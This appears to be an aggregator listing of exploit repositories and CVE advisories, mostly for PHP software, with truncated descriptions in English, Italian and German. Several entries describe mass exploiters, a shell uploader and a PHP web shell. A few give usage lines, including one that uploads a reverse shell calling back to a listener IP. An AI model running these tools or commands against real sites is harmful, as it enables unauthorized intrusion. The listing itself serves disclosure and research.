HuangDou UTCMS V9 - OS Command Injection

A vulnerability, which was classified as critical, has been found in HuangDou UTCMS V9. Affected by this issue is some unknown functionality of the file app/modules/ut-cac/admin/cli.php. The manipulation of the argument o leads to os command injection.The attack may be launched remotely. The...

Cockpit CMS 0.6.1 - Remote Code Execution

Cockpit before 0.6.1 allows an attacker to inject custom PHP code and achieve Remote Command Execution via registerCriteriaFunction in lib/MongoLite/Database.php, as demonstrated by values in JSON data to the /auth/check or /auth/requestreset URI. id: CVE-2020-35131 info: name: Cockpit CMS 0.6.1 ...

ExpStruts

ExpStruts ExpStruts è un exploiter di massa basato su PHP per CVE-2017-5638 .. Screenshots ⚠️ Requirements Python3 per MakMan's Google Scraper Abk Khan @asystolik...

CVE-2024-25600-mass

Mass-Upload-Shell für CVE python3 exploit.py -l yourlist.txt Shell-Pfad https://examplewebsite.com/asd.php...

CVE-2024-48359

CVE-2024-48359 - Qualitor = v8.24 PoC di RCE non autenticato CVE-2024-48359 | Qualitor = v8.24 RCE Descrizione Qualitor è una piattaforma per la gestione dei processi aziendali, e questo sistema è presente in varie aziende in Brasile che possono essere identificate semplicemente utilizzando il...

CVE-2020-24186_reverse_shell_upload

Caricamento reverse shell per CVE-2020-24186 Exploit per WpDiscuz 7.0.4 basato sull'exploit scritto da h3v0x. Sfrutta la vulnerabilità e carica una reverse shell PHP. L'ispirazione è stata la Blogger CTF. exploit.py -u http://192.168.1.81/blog -p /wordpress/2021/06/blogpost -l '192.168.1.9' -s 90...

CVE-2018-20718

CVE-2018-20718 Questa è una POC per CVE-2018-20718. È una vulnerabilità di PHP Object injection. La vulnerabilità colpisce tutte le versioni di Pydio precedenti alla 8.2.1 e porta a esecuzione di codice remoto non autenticata. È stata originariamente scoperta da RIPS. Ho trovato un gadget in...

CVE-2024-47051

Zusammenfassung Eine schlechte Bereinigung des Inhalts, Typs und der Erweiterung einer hochgeladenen Datei in der Asset-Bearbeitungsfunktion ermöglicht es einem authentifizierten Angreifer, beliebigen PHP-Code im Webverzeichnis zu schreiben und den Speicherort dieser Datei zu finden. Dies führt z...

FOXCMS-CVE-2025-29306-POC

RCE per Iniezione di Parametri in FOXCMS – CVE-2025-29306 Questo repository contiene un PoC basato su Python per una vulnerabilità di Remote Code Execution RCE che colpisce FOXCMS v1.2, un sistema di gestione dei contenuti open-source cinese. ID CVE: CVE-2025-29306 Interessa: FOXCMS v1.2 Tipo:...

CVE-2009-4623

CVE-2009-4623 Advanced Comment System 1.0 Reverse Shell Multiple vulnerabilità di inclusione remota di file PHP in Advanced Comment System 1.0 permettono ad attaccanti remoti di eseguire codice PHP arbitrario tramite un URL nel parametro ACSpath verso 1 index.php e 2 admin.php in...

CVE-2024-33113

CVE-2024-33113 Il D-LINK DIR-845L è vulnerabile alla divulgazione di informazioni tramite il file bscsmsinbox.php. CVE-2024-33113 è una vulnerabilità nel router D-LINK DIR-845L che consente la divulgazione di informazioni attraverso il file bscsmsinbox.php. La vulnerabilità deriva da una gestione...

CVE-2021-40845

CVE-2021-40845 I. VULNERABILITÀ AlphaWeb XE - Caricamento file non sicuro autenticato che porta a RCE II. RIFERIMENTO CVE CVE-2021-40845 III. FORNITORE https://www.zenitel.com/ IV. DESCRIZIONE La componente web di Zenitel AlphaCom XE Audio Server fino alla versione 11.2.3.10, chiamata AlphaWeb XE...

CVE-2022-24990

CVE-2022-24990 Descrizione - POC per CVE-2022-24990: esecuzione remota di comandi senza autenticazione su TerraMaster TOS tramite istanziazione di oggetti PHP. - creato da antx il 2022-04-12. Dettagli - La vulnerabilità consente a un attaccante remoto di eseguire comandi arbitrari sul sistema di...

CVE-2019-11043

PoC CVE-2019-11043 Un'implementazione Python dell'exploit CVE-2019-11043 L'exploit registrato come CVE-2019-11043 sfrutta un bug nell'implementazione di PHP-FPM in combinazione con un server NGINX. In determinate configurazioni, un'espressione regolare nel pathinfo di FastCGI causa la scrittura d...

CVE-2026-17544-PoC

CVE-2026-17544 — PHP bcmath bccomp Out-of-Bounds-Write Stack-Smashing CVSS 9.8 Kritisch · CWE-787 · GHSA-x692-q9x7-8c3f Zusammenfassung bcstr2num in ext/bcmath/libbcmath/src/str2num.c mitgeliefertes libbcmath, PHP 8.4+ enthält einen Off-by-N-Out-of-Bounds-Write. Wenn die vom Benutzer angegebene...

PT-2026-109589

Name of the Vulnerable Software and Affected Versions Axiomthemes Balance versions prior to 1.12.1 Description The Axiomthemes Balance WordPress theme contains a flaw where it deserializes untrusted user-controlled data using the unserialize function. This allows for PHP object injection, where...

PT-2026-109799

Unpatched vulnerabilities don't stay hidden on our atlas. CVE CRITICAL VULNERABILITY DETECTED CVE ID → CVE-2026-62032 Vendor → Unknown Severity → Critical — CVSS 9.8 Product → Unknown Date → 2026-10-10 A critical vulnerability PHP Remote File Inclusion has been disclosed affecting Unknown. Patch...

wwwolf-php-webshell

wwwolf's PHP web shell Ho incontrato spesso problemi usando altre web shell: Usano funzionalità sintattiche recenti di PHP non compatibili con la vecchia versione di PHP in esecuzione su alcuni target. Fanno supposizioni errate sull'URL remoto, rompendo l'iniezione di codice PHP o i parametri GET...

CVE-2016-10033

CVE-2016-10033 Remote Code Execution-Schwachstelle in PHPMailer. Mehr über CVE-2016-10033: CVE-2016-10033 Wiki...

CVE-2024-25641-RCE-Automated-Exploit-Cacti-1.2.26

CVE-2024-25641-RCE-Automated-Exploit-Cacti-1.2.26 Exploit completamente automatizzato per CVE-2024-25641. Quando un utente è autenticato, Cacti versione 1.2.26 è vulnerabile a una vulnerabilità di scrittura arbitraria di file, sfruttabile tramite la funzionalità "Importazione Pacchetti", consente...